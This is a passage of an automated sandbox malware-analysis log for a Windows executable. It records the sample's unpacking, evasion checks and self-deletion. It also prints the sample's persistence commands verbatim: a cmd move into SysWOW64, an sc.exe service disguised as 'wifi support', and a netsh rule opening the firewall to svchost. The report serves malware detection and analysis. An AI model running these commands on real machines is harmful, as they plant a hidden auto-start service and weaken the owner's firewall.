Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\chxnvqnu\	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\uscdfbek.exe" C:\Windows\SysWOW64\chxnvqnu\	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" create chxnvqnu binPath= "C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe /d\"C:\Users\user\Desktop\2IFYYPRUgO.exe\"" type= own start= auto DisplayName= "wifi support"	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" description chxnvqnu "wifi internet conection"	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start chxnvqnu	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul	Jump to behavior
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 7096 -ip 7096	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 1472 -ip 1472	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 588	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1472 -s 1032	Jump to behavior

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: 2IFYYPRUgO.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Unpacked PE file: 0.2.2IFYYPRUgO.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Unpacked PE file: 12.2.uscdfbek.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Unpacked PE file: 0.2.2IFYYPRUgO.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Unpacked PE file: 12.2.uscdfbek.exe.400000.0.unpack

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Code function: 0_2_00406069 IsBadReadPtr,LoadLibraryA,GetProcAddress,GetProcAddress,IsBadReadPtr,

0_2_00406069

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Code function: 0_2_02650A29 push 0000002Bh; iretd		0_2_02650A2F
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Code function: 12_2_0269BAC9 push 0000002Bh; iretd		12_2_0269BACF

Source: 2IFYYPRUgO.exe

Static PE information: section name: .text entropy: 7.790689819243222

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: unknown

Executable created and started: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	File created: C:\Users\user\AppData\Local\Temp\uscdfbek.exe			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe (copy)			Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe (copy)

Jump to dropped file

Source: C:\Windows\SysWOW64\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\chxnvqnu

Jump to behavior

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

0_2_00409A6B

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" create chxnvqnu binPath= "C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe /d\"C:\Users\user\Desktop\2IFYYPRUgO.exe\"" type= own start= auto DisplayName= "wifi support"

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\SysWOW64\svchost.exe

File deleted: c:\users\user\desktop\2ifyyprugo.exe

Jump to behavior

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Code function: 0_2_00401000 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00401000

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: inet_addr,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetBestInterface,GetProcessHeap,HeapAlloc,GetAdaptersInfo,HeapReAlloc,GetAdaptersInfo,HeapFree,FreeLibrary,FreeLibrary,

13_2_02D3199C

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)	graph_0-16362
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)	graph_12-16303
Source: C:\Windows\SysWOW64\svchost.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)	graph_13-7605

Source: C:\Windows\SysWOW64\svchost.exe

Evaded block: after key decision

graph_13-6142

Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes	graph_12-15354
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes	graph_0-15354
Source: C:\Windows\SysWOW64\svchost.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes	graph_13-7324

Source: C:\Windows\SysWOW64\svchost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_13-7441
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_0-15107
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess	graph_0-15159

Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_12-14987
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_0-14934

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	API coverage: 5.4 %
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	API coverage: 3.9 %

Source: C:\Windows\SysWOW64\svchost.exe TID: 5500	Thread sleep count: 40 > 30			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 5500	Thread sleep time: -40000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
